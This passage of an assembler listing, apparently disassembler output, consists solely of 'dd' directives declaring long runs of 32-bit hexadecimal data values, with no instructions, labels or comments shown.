		dd 0EF4803F6h, 0E1827198h, 689A5EF9h, 4B43804Ch, 580B32A2h
		dd 5B16D0E8h, 68B49D31h, 8C9EBC44h, 1D0FDB00h, 0E33C81E4h
		dd 309804B2h, 45E33C0h,	18C1D69Dh, 9BC960Ah, 0F46E4Eh
		dd 45630E26h, 25BA8F02h, 9468E4EDh, 3802D742h, 899493D9h
		dd 9C510962h, 7318E379h, 3C6DA804h, 30B0C814h, 0C2854A43h
		dd 544FB650h, 789A1341h, 0A0B19C4h, 6040E1CFh, 6F0F0CB8h
		dd 8E32D229h, 80B370B1h, 220AA86h, 0E99430CEh, 3758ADA1h
		dd 2A9CCA00h, 29E77AABh, 0E47CE0h, 40EEDA3Ch, 1420F742h
		dd 0F02F754Eh, 0B7009F23h, 0BCB969A6h, 4867A2Eh, 0AB7534F3h
		dd 23F0F16Eh, 3053A224h, 110C6E17h, 196D10D1h, 508900FEh
		dd 7BAA23Fh, 909551A6h,	6B3A9Ch, 5BA81E41h, 9D4D1B25h
		dd 8014C04Ch, 963D7F97h, 99A20403h, 0A2BE2E85h,	30E5F230h
		dd 87168178h, 3C8EBC60h, 0ECC09FC8h, 1852EE20h,	0C17010D8h
		dd 5746A7Ch, 952F6500h,	4E592877h, 0F8318E3h, 8B3B616Bh
		dd 7AAF7100h, 66E14B94h, 0B62B1FEAh, 967482F4h,	6D15F3h
		dd 0C5A219E0h, 8A260492h, 804D9D1Eh, 14DF4FB8h,	0F35C80BCh
		dd 0B001D418h, 53AAD3B3h, 586C9618h, 2B8842Eh, 6A74B171h
		dd 0C8026440h, 0A4A6C09Ch, 0DF4674h, 2851A716h,	25EFE460h
		dd 60C1904Ch, 0D15430F4h, 38B0C090h, 11D2C020h,	0A16382h
		dd 0D32E1AE5h, 4FCBAAC7h, 23342FF8h, 3B10005Ah,	9EC4ED45h
		dd 0FA768F74h, 0F7402471h, 0CCA59594h, 95DD0038h, 88A94963h
		dd 0EC315624h, 0B6114824h, 9D04673Eh, 0B4948902h, 0AF009B18h
		dd 91762435h, 0A77D30h,	29A48B2Fh, 0CE8F28E8h, 52EC9A00h
		dd 0FEB285BCh, 44685BEDh, 1577049Ch, 0B40D18C4h, 0F6F069h
		dd 2C541F4Eh, 75B5DE2Bh, 3D431017h, 74A2C894h, 53068F2h
		dd 0E16F1726h, 10FCC5CCh, 0E0E8ECB4h, 7CD008Ch,	3749702Eh
		dd 0C4BEBC0Eh, 93D10EDCh, 8317EB9Ch, 0EDDBCFD0h, 84A2B8C2h
		dd 4CE722FFh, 0AE60E544h, 7438F402h, 8C41DA72h,	0C33C4447h
		dd 33C8EC6Ch, 0DCA0AEh,	1D22902Bh, 618878E0h, 11FC9700h
		dd 0D0C54AC6h, 22985EF1h, 3C40A718h, 2180D240h,	5D030077h
		dd 365A4EC2h, 0EF0BF8BCh, 0A0F39444h, 413E3D20h, 6B1F0846h
		dd 74828739h, 58B08143h, 0A43302D0h, 7918B1F1h,	0BC09E882h
		dd 23CB38E9h, 3063F214h, 5B006CCBh, 982A0B81h, 0B4784CEDh
		dd 0E7930C7Ch, 0ABF20CD1h, 2774EF00h, 647846ADh, 0E0DB008Fh
		dd 5ADF4B89h, 215D989Dh, 0E4B08F44h, 28C04E0Fh,	2C2465A1h
		dd 4FC8F570h, 7FC7D95Bh, 85F1137Eh, 21CCA644h, 48E5A5B9h
		dd 964E464h, 82BACF2h, 32C12CEDh, 0EFF0A2DCh, 0F62D12A5h
		dd 0E0B8E638h, 0EEA050F7h
		dd 37F90934h, 1002F3D3h, 0DCD9DD3Ch, 5F095D93h,	1374F0CDh
		dd 40F1103Dh, 62242F94h, 38EEEF1Bh, 0F0B07654h,	0A2467F2Fh
		dd 4514F7C0h, 6064E400h, 51AC1D7h, 7754CB4Dh, 0E7ACB4B9h
		dd 0B273409Ah, 2EC4AC55h, 5002D46Eh, 20CEBB96h,	54AEDCDBh
		dd 0FA18F356h, 54AB9750h, 77191400h, 0FD56F423h, 0B32CA4B0h
		dd 0D9E5589Ch, 0FE6D604h, 64828D2Fh, 0A528A47Ch, 9B392260h
		dd 16FF302Fh, 2A7A0230h, 927E0239h, 10B928C1h, 5F6FC82Eh
		dd 0D9EC0741h, 2701C830h, 8E9711Bh, 991000CFh, 985042C2h
		dd 0BD266B4Ch, 418100A0h, 0B50D5575h, 7C751A4h,	0D033C442h
		dd 0B388D1B6h, 99AD301Ah, 2FC4338h, 0D83CED38h,	1C794FEBh
		dd 0B6185FD1h, 0E910CB1Dh, 3E7CA141h, 482D932Ch, 77A5DD01h
		dd 8557BF18h, 6328EAB8h, 60BC08A8h, 0BC1C018Ch,	8F741190h
		dd 44E5D0A1h, 5F1054BCh, 3B541A70h, 10C7D961h, 0CE605E44h
		dd 0B02CB648h, 540810DAh, 772E00CAh, 7A75EC1Bh,	2B617B1Eh
		dd 7C00F41Eh, 0C8B68394h, 0DC425063h, 5FA4B9Eh,	0B5336B80h
		dd 13444050h, 0ED2D4D7Eh, 39827EAh, 0D6A53B92h,	74402408h
		dd 9E025246h, 1086426Bh, 0BB3CD4h, 0B6FE4032h, 6075C74h
		dd 0F539A8Ch, 44002157h, 0DB9E1E2Dh, 33DD6CCh, 0B06C8F49h
		dd 57B0139Dh, 8A776854h, 0E42C4D12h, 242B28A0h,	4054E3EDh
		dd 43FBC830h, 410DF1C2h, 883CD489h, 142646B7h, 0EC482404h
		dd 1D5BF601h, 65E887D4h, 186C3834h, 2571031Ch, 3763C0D7h
		dd 6211381Ah, 0CA2C40A9h, 0EBE8B606h, 69112C17h, 71E46A8Eh
		dd 0C218F40Dh, 0C4C73E00h, 0BCD51EB0h, 0CED60021h, 0E57E3345h
		dd 0D202A082h, 946753D8h, 0A8644BECh, 5B525Dh, 0BB1D3FE5h
		dd 0FBCDE26h, 0DB626F12h, 6A239C3Ah, 3504E71Dh,	84F88D33h
		dd 74BC9E74h, 8000E246h, 0D256A85Ah, 3448C872h,	0D1FB0F03h
		dd 38846079h, 3B45B8BAh, 6102FE62h, 4F9BE8C8h, 0BB0AE856h
		dd 0EE08F009h, 0D47742B7h, 43544840h, 1FCFB52Fh, 82699130h
		dd 0E06AC447h, 94D3C81Ch, 0CC0588ECh, 79B30D0Dh, 167923E0h
		dd 0FF336B6h, 0D520E583h, 69D09213h, 8924E93Bh,	6DB94C56h
		dd 0B6EDC09Ch, 0C400292Bh, 50FCC51h, 61F963F4h,	0E6FB889Fh
		dd 0A4A5E0F3h, 703C11C2h, 463C44DEh, 27A00296h,	51B4F460h
		dd 0A83B6108h, 70D33027h, 3A5CD7FEh, 0C1990186h, 5B10B2C9h
		dd 0FBE0E06Ch, 0B94F4BFDh, 3B01406Eh, 2F20EB58h, 0C2D4638Ch
		dd 16588F9h, 2FF0D971h,	9E381C03h, 401950F8h, 0F6FC8C67h
		dd 0A26F2210h, 0F696B8E0h, 0EE5D851Fh, 0FCD31140h, 0B4A3C02Eh
		dd 1FF1013Ch, 7333F8B3h, 30E2F210h, 2504EFD6h, 0A2B4535Fh
		dd 0DF8030ACh, 77AEF4B8h, 36691601h, 0D1FCF6C0h, 284C4D3Fh
		dd 946E2F29h, 4355F302h, 840DB6Dh, 89124A6Bh, 9456E50Fh
		dd 0CBE164B6h, 91E7E458h, 0A0E35301h, 0AA3894E8h, 59AD4E8h
		dd 0B9E1354Dh, 5800B881h, 4673C40Ch, 0A8A50F04h, 8C5EF8E0h
		dd 58CF3500h, 3D230E8Ch, 4BFE2D79h, 7072D090h, 64C02995h
		dd 92860040h, 0C144A109h, 0DE002024h, 346B491Ah, 99532FE0h
		dd 1C3C04F8h, 0F21553D7h, 0B2851EF0h, 0AE8F015h, 382F6BA8h
		dd 47772201h, 20608102h, 294B097h, 0ED8D8E15h, 0E42BA0E7h
		dd 0D86D00ACh, 4EB7696h, 0C800DDEEh, 0B5A399B6h, 3FFB6B50h
		dd 8E007E41h, 0DEEA961Ch, 0F34FFFF5h, 2A8B40D2h, 7F736020h
		dd 8201F4B5h, 0E802574Fh, 703C318Fh, 8CE1ECh, 0B26734DDh
		dd 0A7A35794h, 370DFC1Fh, 0D6B10CC0h, 5CA81B6Ah, 3607109Ch
		dd 802B6285h, 964CB298h, 406BBC09h, 37F509A2h, 0F3888038h
		dd 0CDED2D16h, 10382A09h, 61F8588Bh, 0A67B602Eh, 23706D9Eh
		dd 279F0195h, 33ACF461h, 0A73C80E4h, 1544D627h,	0A4B00DAAh
		dd 3FA0BD01h, 0F0A4BBD2h, 0E0133068h, 80F55103h, 3AB88479h
		dd 0E7F0D00Ch, 5A14485Ah, 0C820CB75h, 3B84C1A4h, 0E7A2CCF0h
		dd 0DA0469B8h, 0C5437EB7h, 496BF0D0h, 3C6CE1A3h, 89F7B285h
		dd 1844F8h, 0A391380Ch,	45095914h, 458E2771h, 609DC4F8h
		dd 74F721E5h, 0CEEE73h,	6AE7C63Dh, 771025C8h, 465E609Ch
		dd 0F1587EE6h, 0CBF012ABh, 2C84C456h, 91E0C0E6h, 2F17EBFFh
		dd 64B21B57h, 7FBB4639h, 2083FA4h, 0B056CEBEh, 8C63FC56h
		dd 0E0F88E9h, 1477076Ch, 30B4C182h, 6BA91C98h, 0F0D13A4Ah
		dd 0C180EF94h, 0AF62ECA4h, 0CE0ED7F0h, 8B9B4BC2h, 0E4E8C5A3h
		dd 7C0F60E6h, 0E8B90915h, 48D25A43h, 3C5B0420h,	0F62D1967h
		dd 14596C89h, 0E8195179h, 0F01A312Fh, 5B6054C7h, 80A79128h
		dd 309D3924h, 0AC448C2Fh, 392C0B78h, 706624CAh,	52C44C85h
		dd 0B20DFA60h, 68DF59C7h, 7FE243F1h, 0B0601AC4h, 50ED0BB8h
		dd 707B484Dh, 0A0C24A78h, 166C3CE3h, 4B3E7CCh, 99459BF0h
		dd 0ACAC6CF4h, 0E2588CABh, 4FB7106Ch, 6062B856h, 6D4DF3h
		dd 0FA8E314Fh, 215D1101h, 6C046AC4h, 0CB127D90h, 0C0A4C8D8h
		dd 0F94C09F4h, 30265000h, 7C6BEB77h, 0BD192663h, 54CD6B28h
		dd 83A876C0h, 3B560D0Dh, 2350AAEDh, 0C199014Ch,	0BE2E43C8h
		dd 73F7A076h, 44E8AD39h, 0B227C1C3h, 0CFD021FCh, 13B18B9h
		dd 27F8D0A0h, 0A1BC4556h, 0A21433E4h, 9803065h,	440F4B02h
		dd 740E8A62h, 0DC00BC70h, 8865D029h, 0DD16E942h, 88058903h
		dd 68CE1A8Ah, 0C2C05D88h, 1E243E39h, 0A5CEE24Bh, 5CC0F0CDh
		dd 3E590E1h, 63DF561Dh,	0E9B8964Bh, 9E5A31FDh, 0A423182Fh
		dd 95C5B900h, 9B731AAh,	8990A51Ch, 0D0061C71h, 96C42Fh
		dd 0EA143822h, 31019690h, 0D1B080B5h, 4AF3B31Eh, 0AACC00EDh
		dd 0FFF12E5h, 21B57A09h, 4D80F83Fh, 5CBC1CF8h, 0AE0D22h
		dd 9EFC50F3h, 1EFEE87Ch, 791EE47Fh, 3B49B825h, 1E85499h
		dd 7671E03Fh, 654C2824h, 0B4C784A8h, 58CB14C5h,	0CBC567C8h
		dd 888818ACh, 0E0B16F82h, 0CD484251h, 61E3C4C8h, 886841A1h
		dd 0D45DD080h, 7300FB08h, 0FDDF6A4Ah, 7F15C8h, 0F64EFC26h
		dd 0AF32BB83h, 5839E1C4h, 68E220B3h, 0CCF1630h,	4F10FE71h
		dd 26F08319h, 0BCC48E4Ch, 0F4168CA9h, 6C046C50h, 99004754h
		dd 108D26FCh, 929210BCh, 144F60A4h, 0AE1A0794h,	2A104907h
		dd 7DF1673Ah, 0FA9CC021h, 5F5007FCh, 8D13C1B0h,	40CB21D3h
		dd 38C0E1C8h, 0E80E72F2h, 0E8D91E13h, 6EF49F5h,	3CC218D9h
		dd 0F6805E4Dh, 0E110B100h, 4F7365CBh, 0F3FE1EA7h, 91B3D343h
		dd 7CF74DCh, 4CFAC57Fh,	0B53B0843h, 0EF2816A8h,	3CC02908h
		dd 30EEADC0h, 9B00F15Ch, 9D3E91BAh, 1847680Bh, 70F23444h
		dd 43657872h, 80400D31h, 0D67AFB66h, 82990942h,	80E80EE6h
		dd 0E20087CDh, 0D09AF732h, 33ACC57h, 69C5B5D4h,	9697374Ch
		dd 221658FAh, 0A002FC71h, 0FECE4B9Fh, 0E204DE90h, 862E84A9h
		dd 3752C92h, 8EB0C262h,	68B14583h, 8B60B4D3h, 5EF88DD2h
		dd 0A79A011Eh, 0B2F11A80h, 2A4F02C2h, 0B2909044h, 0DBC8C8CCh
		dd 9100956Bh, 206B82DCh, 7B40D52Ch, 2A167384h, 44E68FFCh
		dd 8EF564B0h, 82D0DD80h, 2CDC2CFCh, 0DC5C0Bh, 73110786h
		dd 24AFB05h, 6023CC2Fh,	0CC68BE07h, 8F6B2A30h, 0CFC20EE8h
		dd 0F600BBEDh, 104C6F37h, 3FA8E051h, 0B1BBF030h, 9B212D81h
		dd 4C080CDh, 296DA69h, 3D7A83BCh, 98627F1Dh, 0F69CC8D1h
		dd 0C16A9600h, 50EC7550h, 4ABB8C5Ah, 8BC89B57h,	300002A6h
		dd 0F0AC525Fh, 0A0B076D9h, 67B1CF08h, 503421F8h, 79D270EEh
		dd 1DC9CB6h, 0D0A05AD8h
		dd 6A3CF7DFh, 346D5401h, 1C05EF44h, 93280950h, 0F600DC5Ah
		dd 73F8160h, 1C24947h, 130A3E9Ch, 0E099969Eh, 28040CBCh
		dd 0AF693B7Eh, 0BCA82094h, 48C6AE8h, 9D146059h,	0E874EC8Dh
		dd 43018CDFh, 0F9D4A119h, 0F0480D17h, 1F6C007Eh, 0B2EEC101h
		dd 6D01E033h, 0C0C25D24h, 0D9E66B18h, 4C6582D0h, 0F8A5E544h
		dd 0C4B302h, 0D85E16FCh, 3FBB7F9h, 0F57118E6h, 0C900730Fh
		dd 0B9D15BBCh, 2D7CEF16h, 42094A8h, 1C8F99C2h, 16394D5Ch
		dd 0B8CC9EC1h, 1C0B82Ah, 9B54DCEAh, 6CF02710h, 0F263B198h
		dd 80F39401h, 0EE968019h, 4CE5D676h, 0AB8AFC44h, 57729FE0h
		dd 0D6045AFh, 858840A7h, 0B1A6B497h, 77242000h,	8CEA57EDh
		dd 0A0B701F5h, 0AD5363F7h, 0EB30F8EFh, 25502297h, 0C05409A1h
		dd 78B48465h, 0A8B48649h, 7A4001D4h, 8206326Ch,	90206BFAh
		dd 35D1BA5h, 493189E9h,	36D93B03h, 0E750200Dh, 0F0D84416h
		dd 0E2EDE880h, 3C679567h, 0E3609DC4h, 463FFF63h, 0F9E885A6h
		dd 0CCD1A0B9h, 91A70C10h, 68915497h, 71A96B80h,	526BD8B1h
		dd 53440250h, 0C4E4426Eh, 0E200A050h, 0E182772h, 8EBD34A0h
		dd 0AEF681D6h, 500C20E1h, 73BA59C5h, 0F67C0FFFh, 0EC08B912h
		dd 31080BC7h, 78F03BE8h, 74D96B09h, 0DB1C7170h,	0F3D060CCh
		dd 1C02EA17h, 49EDB5F1h, 247EAC24h, 1648E627h, 0C58B4A6Ah
		dd 0B804ED5Ch, 5C47024Ah, 0D21C44EFh, 50398902h, 0CFA65AB0h
		dd 0C0E48880h, 18E96FF2h, 0FC91575Eh, 746A6C1Bh, 7C09BA2Ch
		dd 0C2848CD6h, 3E190067h, 0A9EBCA68h, 8D254A6Bh, 154D99Dh
		dd 32AD0B87h, 2733C81Ah, 0B95F5C00h, 676421FAh,	5B102CDDh
		dd 3B568268h, 0D07ED205h, 0F94393BDh, 5E0410A0h, 8088DB88h
		dd 0F96F98F0h, 2E600486h, 0AB0C1B9Ch, 0CFB9C12h, 8460B1EAh
		dd 12C14227h, 0DEE8FCC8h, 86025FE2h, 94A53E49h,	36B0A0F2h
		dd 148155h, 0FE5B23C8h,	0BE2E3E07h, 0C047C0B4h,	6402FF40h
		dd 0A2790435h, 0E07C24D1h, 747C72D0h, 3C6D29C2h, 74506A2Ch
		dd 4E6B02A0h, 6CD4E543h, 0A3CE9C02h, 0EC098A7h,	49CB00DDh
		dd 0CDB989E1h, 0E8001EDBh, 0ED603E01h, 5EE6307h, 7A82BB96h
		dd 878402A8h, 0C879D7CAh, 0EF18AC79h, 0A08D315Fh, 6AA05442h
		dd 59847BD0h, 0B81859h,	5627641Bh, 0DB94E34h, 0C29A0A02h
		dd 54479C9Eh, 0DF46743Ch, 0D484B900h, 0E51E9E03h, 36781201h
		dd 7072A1CCh, 10EFBC48h, 2DF1384Ch, 91881D88h, 0E77181A4h
		dd 0DFC3B0Bh, 5BC37C2Dh, 82CC8098h, 17BD8797h, 84519124h
		dd 0CC935A98h, 7972B03Ah, 21889C74h, 185D7128h,	0C9910053h
		dd 99E593E3h, 5C1FFEC1h, 0D825E0D0h, 71A0A8F4h,	0E4209778h
		dd 1B874184h, 4795A092h, 609D644Ch, 0B33E1C3h, 3FE3EACCh
		dd 73442002h, 0F71E980Ah, 1072E80Dh, 0CE14842Bh, 0C0548800h
		dd 9458CB78h, 0F04ED49h, 0A14AF5F0h, 3BF88BB0h,	3EF45D4h
		dd 760AF362h, 290BEA94h, 81E0574Ch, 0E1749CB4h,	3B1886C0h
		dd 0B3856F7Ch, 0A3EB3B9Fh, 3052E274h, 4C13ED30h, 58F4CDB0h
		dd 5C3C244Dh, 3D23803Ch, 0AC312283h, 70C040F1h,	3888B8E8h
		dd 3DA02E9Ah, 2C0202Bh,	0FC7119B7h, 375FBC36h, 404D9C10h
		dd 1A3AF1E2h, 0D0075F9Fh, 988D426Bh, 9CED3145h,	51CB7448h
		dd 45B83400h, 0CB021218h, 3A47EAB4h, 452CD297h,	0B8C42D50h
		dd 747235h, 0D2CDBC69h,	0EC1377FEh, 3DF17F02h, 781FC030h
		dd 1E589E74h, 0B2F6C071h, 0F8F3FFC2h, 18108495h, 587BBEh
		dd 5FC43F4Ch, 3AA1CE82h, 0C81F5653h, 0C0E52DA7h, 0A07180A9h
		dd 79781B18h, 7180FB5Ch, 41696C30h, 0D44086h, 890BB15Ah
		dd 2B1E5D9Dh, 0E610631h, 5B000CC9h, 0C3F8FA8Bh,	5C3E56B7h
		dd 0C9001D46h, 3BDB7BDEh, 4F03C81Eh, 8D0F6AFCh,	8B270102h
		dd 31BD89F0h, 3D70860Ah, 3B1A0834h, 2760860Fh, 29B58B57h
		dd 5F243061h, 0DDC22FE9h, 19D16971h, 0CE001818h, 2E6FCF33h
		dd 5B65BD8Bh, 1E43BF27h, 3D324D9Dh, 0D82DC311h,	800D35D7h
		dd 85C77B16h, 4EC717C9h, 7F409359h, 69DDBD0Bh, 8E031402h
		dd 7A5B5AE9h, 1D16BFAh,	0FC1FE676h, 9B20B70Fh, 71C71D81h
		dd 9BD0675h, 0D0386629h, 30AF5E07h, 0A5B5318Bh,	0FF201F67h
		dd 8B0F16CAh, 11B51FFBh, 0F262E2BEh, 8E6A301Bh,	12D81500h
		dd 0E93C6663h, 9421C005h, 2EF86C4Dh, 4595FF0Bh,	7B6D7D29h
		dd 0B69891E0h, 229C1634h, 0FFD0FB19h, 38A8AF51h, 5C00DAFAh
		dd 0FD29EA7h, 0ED1C8BEEh, 1FCA9A46h, 0A508FD7Dh, 905E0A10h
		dd 164674C0h, 9A86F403h, 170009E8h, 4AAA9B84h, 32F2338h
		dd 85894B5Dh, 69281EF9h, 3129FAF5h, 1B7138B4h, 0B41D5A18h
		dd 175F3E53h, 813A81D2h, 0F9001D23h, 0BEF2FBE9h, 0B30B0AA3h
		dd 74F5CAC8h, 18011546h, 8D9529FEh, 89E29D35h, 774BA8A4h
		dd 0C960404Dh, 86AE916h, 5398529h, 0B880F06h, 0E7810F27h
		dd 590B634Fh, 6B462901h, 0FDEED435h, 6621FA00h,	5EBFF28Bh
		dd 0EAF07768h, 10DE14A8h, 1CB8486Fh, 0BDDD3A8Ch, 885F6A8Eh
		dd 0E9ABC640h, 0FF71F7D3h, 1744BFA7h, 0B5917D60h, 0B60DF02h
		dd 682BC59Dh, 0C3C18BBDh, 4EBFBBEh, 0B7DB3350h,	0BD0FF64Dh
		dd 2B14E800h, 0C185158Dh, 0BF09A62Fh, 440190FFh, 8C50A188h
		dd 14B98A0Ah, 6CF96B8Bh, 63CD4D7Dh, 13E05563h, 4707F391h
		dd 0ECDF8182h, 56AD5B77h, 0A0F72336h, 7BA8E6F9h, 3B19BD76h
		dd 0F7C61FB1h, 13ECD882h, 5997062Fh, 0CE821611h, 6613FCDh
		dd 87001499h, 0C0833582h, 78B09305h, 0FE00451Ah, 406D8C0Bh
		dd 0A7BABD1h, 16EDF781h, 0EE2916D2h, 1081A894h,	9000202Dh
		dd 460EC9BEh, 0FF503088h, 2EE18D84h, 0E96EA789h, 30E8AC01h
		dd 0F3C5EEFh, 6689058Eh, 26AB929Fh, 34E108C5h, 0F00CAC20h
		dd 2908E960h, 0D2DA00DCh, 6CA49333h, 8D016101h,	2EA6AA9Dh
		dd 71600906h, 0D3FF8015h, 350DE1E5h, 0C6BD6E77h, 0F51AFFACh
		dd 0D7813CE9h, 0F6158DFBh, 0F02556F7h, 1C1412Eh, 3EE04623h
		dd 41C89BB2h, 63648DF8h, 4686C299h, 0DE810001h,	2F02AD34h
		dd 0E59D8B4Dh, 870F032Ah, 54B0679Eh, 818032F8h,	0A9FEB5E3h
		dd 535FF2Dh, 68025681h,	8C4E71Ch, 0C7502E24h, 1F99081Fh
		dd 0EADB2C3Bh, 833F9411h, 90126E14h, 2484BC63h,	22BA1B58h
		dd 23BF0505h, 0AF1FD0EBh, 9060D2E4h, 0E012043h,	171DD8E5h
		dd 0B5094B99h, 852AB21h, 0DB373168h, 80DE370Bh,	3E300A3Ah
		dd 8F020E82h, 99B50B50h, 0E993C833h, 0A8DEB73Ah, 31C4676h
		dd 0EBD39078h, 0C963902Ah, 49E0C548h, 8636720h,	6830F8Ah
		dd 0C1EF8D14h, 1D05BD29h, 1520C8Eh, 3E8795EAh, 23815F83h
		dd 3B97FEFFh, 2CC668D5h, 847D006Ah, 2D967712h, 0C50049D9h
		dd 5632F19Dh, 2EE4A40Bh, 60586346h, 9BC9940Ch, 0D86AB900h
		dd 534C2201h, 2837216h,	280A42F3h, 5C8607Dh, 0DCB75E61h
		dd 628462A9h, 2876382h,	405F5322h, 0BD3569EDh, 4674A37Eh
		dd 24153C16h, 0B10802ADh, 3132610h, 50193DBFh, 23FF3AB5h
		dd 5CAB0016h, 11B53360h, 5BB2C4Dh, 0F74FCE81h, 3A04FE08h
		dd 1D00D0D2h, 5EDC9724h, 8AB2B0C2h, 70E6F817h, 33313804h
		dd 171E403h, 6664C5C2h,	37D8B625h, 0F51F0061h, 0D67D9C65h
		dd 0BED73300h, 36DB4AEFh, 81F791BAh, 119D89C3h,	0C1708501h
		dd 0E6BE04E8h, 3FAB007h, 0F8710225h, 0E2F766FDh, 14097AE1h
		dd 1003DC82h, 56B7F08Bh, 1E5780E1h, 7FE56F4Ch, 0A6108E02h
		dd 0C0D82B7Ah, 8826D56Ah
		dd 482CD781h, 569DF7B0h, 241C89C4h, 6E1E0C1h, 84FCC915h
		dd 4DE9F632h, 7859D4A7h, 1B189CACh, 4D9262DCh, 0C781802Bh
		dd 947AD20Ah, 5F2FE908h, 0F58777B5h, 8030A03Bh,	0C298BF70h
		dd 1759B656h, 8279EAC9h, 20B060B9h, 0F5194261h,	2B58DFDBh
		dd 0E9B40728h, 44671CE8h, 6AC400Fh, 0C3F7FDCh, 69B08983h
		dd 137B01E8h, 4AF8FA24h, 19D1BD29h, 1C043318h, 159938C0h
		dd 353D43C1h, 30613C01h, 0F592A757h, 9678B39Bh,	0E42FB856h
		dd 415F8132h, 23247598h, 3F75539Dh, 0D411331h, 16A68B94h
		dd 529DE4E0h, 0BF80EB91h, 5C70C773h, 9F5E4977h,	19BC745Ch
		dd 7DB0028Ch, 49C5BD02h, 7BF59F4Ah, 0E0A458B3h,	7E90AC73h
		dd 3824F709h, 4DA60965h, 0F93EC0D6h, 281C9608h,	0F8B9179h
		dd 0E7BFB08Ch, 0A7874C68h, 16388613h, 111F0811h, 1817634h
		dd 846301B4h, 8301AE2h,	0B3EA037Dh, 51E3ABF9h, 0A78D6C03h
		dd 0DE85Eh, 41E1F2Bh, 0D0372B4Bh, 17688302h, 0DD0694B3h
		dd 0C300F2D2h, 0D326B9DFh, 9D689A1h, 5E2231E7h,	0DD91A02h
		dd 9AD7B905h, 0C09A4D09h, 5D08C6AAh, 6B097E7Ch,	8ED9D1FEh
		dd 8E60AE76h, 5069C0B9h, 2F615EFCh, 375FC183h, 6E2C009Eh
		dd 76BCF434h, 3BF78B0Bh, 0FFF485D9h, 0E9CECD30h, 0FDB3B07Bh
		dd 22F0DE76h, 0E201495Ch, 67172CFAh, 833CD48Bh,	0AFA0BC8Fh
		dd 0C1F6ACB3h, 8845E2B2h, 3C94DA32h, 8C1DB8h, 17F1680Dh
		dd 4C5F0ED2h, 74BDFE72h, 0EC1D80B5h, 40E43EBAh,	32B6EE00h
		dd 0D6419D55h, 0C8F8B4EFh, 15465CAEh, 29511F01h, 2D1701B5h
		dd 0DA493D6Eh, 8A11EE28h, 29892182h, 293DE902h,	3391AB82h
		dd 0F99CBD2h, 0E6181CD1h, 0A437AF00h, 2D6A7C10h, 810F38A5h
		dd 9486C149h, 612DA6C2h, 0C3FA1A2Ch, 521EE279h,	734D4918h
		dd 1B93B338h, 48EA6F30h, 10650FA5h, 6B00B277h, 0EE81C28Bh
		dd 32BDF037h, 0FCEE612Fh, 70E8DFD1h, 0E1D99B27h, 19A71089h
		dd 0C2004493h, 8EAF87A7h, 2CAABAC0h, 0C9F15EF8h, 0E5C087CDh
		dd 6E86986h, 4FB4969Ch,	0F25CC628h, 569AA413h, 0A094A5C3h
		dd 9A1E7D90h, 72B96002h, 607558D1h, 96E4F05Bh, 21990846h
		dd 1E1C9012h, 77AFF66Eh, 648EDFB5h, 1AD5A57Eh, 4C7D9DB0h
		dd 0F1C08DB2h, 6F4817B7h, 9241C100h, 518C821h, 0FB4A6ECh
		dd 0B9F04862h, 56E725C2h, 5FF12A60h, 2FB97BE3h,	0F17A0ACh
		dd 9ABAFBB7h, 51CEC56Dh, 29E19204h, 5C752B4h, 6328F304h
		dd 996D03E9h, 19883255h, 6002183Dh, 78CACCC1h, 44B547BAh
		dd 4CD96018h, 5D2E030h,	8A7857BEh, 0E3F48C1Bh, 1EF6AD0Bh
		dd 637F60DDh, 0CEF6B7D4h, 0BA900B8h, 6950E671h,	962600C2h
		dd 0D05D324Eh, 0F7FA2A29h, 19208DB0h, 6552480Bh, 2DF33B50h
		dd 0C509ECE9h, 0C4C7444Dh, 294D216h, 8531CA45h,	51F72C91h
		dd 2FA283AEh, 6C85327Ah, 214DE901h, 91CA02F0h, 551C7BB7h
		dd 0E86CC7E0h, 0BDDAD600h, 966A2BAh, 0B36F0051h, 50069346h
		dd 557BB26Eh, 7C413F5Ch, 0F20D8900h, 82585472h,	0AD5F006Dh
		dd 0A092C4DCh, 0EAA08CA4h, 0B7000AE1h, 21D99A3h, 71876442h
		dd 77DD7F38h, 0BEDA0247h, 4C9B6211h, 0C1DF4F42h, 9ACCD041h
		dd 4A8300ABh, 0F66DB043h, 0A0089D6h, 879B7056h,	9E7706h
		dd 0A3B30473h, 80DDCAF1h, 232D6500h, 1FBB3412h,	917500EEh
		dd 0B8325EEDh, 9400EBADh, 0F6C88ECDh, 7D4C535Ah, 9899EC14h
		dd 24E7E066h, 3EC4E72h,	812B393Ch, 0F268350Eh, 0DB77A2D0h
		dd 294DC0F0h, 0E8DC0185h, 8894232Ch, 72B80E6h, 938F6C50h
		dd 94DEC1Ah, 0BDA1FC6Bh, 5DBC83FDh, 0E52900CCh,	303A685Ch
		dd 7D039747h, 7BF503AEh, 0E1E02A1h, 6B0C9910h, 0CED9A5h
		dd 3A3F22A5h, 0C0609C2Eh, 0CD69F126h, 765A1BB1h, 62C015EAh
		dd 0CC763127h, 0C159B200h, 5F3846A5h, 0C4C500FFh, 0D4B3675Bh
		dd 7101B882h, 96DA1C56h, 0D32DC07Dh, 2F1A8900h,	6FDC1DF9h
		dd 0D6F43500h, 1EADA81h, 0A1A700BAh, 587CF74Ah,	28002C73h
		dd 0F266B516h, 0ACFFCCh, 7CFD3B7h, 0D0BFC736h, 8EC05C26h
		dd 0B4E6400h, 9EF935h, 900480A6h, 50440271h, 1271E00h
		dd 12AB94AAh, 0FF96A08Ch, 8A61005Bh, 64DF2037h,	0C7012440h
		dd 0A0BAD974h, 9A8045A6h, 2F33774Bh, 7E009915h,	0B40BE0C6h
		dd 24D9EA0h, 0AAD8AC55h, 0B18353D0h, 0DBD1630Eh, 0B6C200BEh
		dd 490DC034h, 0B574EAD1h, 837CE02Ah, 0D981E200h, 451D78E7h
		dd 60A7EEC0h, 9C6F5A0Bh, 25001B41h, 389DCFBAh, 9D77475h
		dd 84891C8Dh, 53B1F00h,	110098A6h, 0B89E14E8h, 2F1945h
		dd 0E494493h, 0E403FF2Eh, 63487207h, 0D470251Ch, 9FA1B9h
		dd 28FB324Ch, 6CBF89D5h, 754B1101h, 2A1E4796h, 3A253CCh
		dd 9FAD38DEh, 0C20369EDh, 880FFE60h, 32EC96EEh,	30C93C96h
		dd 0A0B90420h, 644F099Ch, 0C920FBCFh, 3410534Eh, 424BD71Fh
		dd 84F5F8D4h, 29913ECBh, 24E8AE17h, 0FCF10D69h,	5195ED0h
		dd 7F7302BCh, 2240D9F3h, 378801ABh, 0E5DB0081h,	0ACB9BB06h
		dd 37C7EE80h, 0F420FF63h, 53F9DF99h, 5B0E9730h,	65600106h
		dd 8F5CF886h, 0BB00A472h, 7B4FF634h, 1F2137h, 0D51A6AE3h
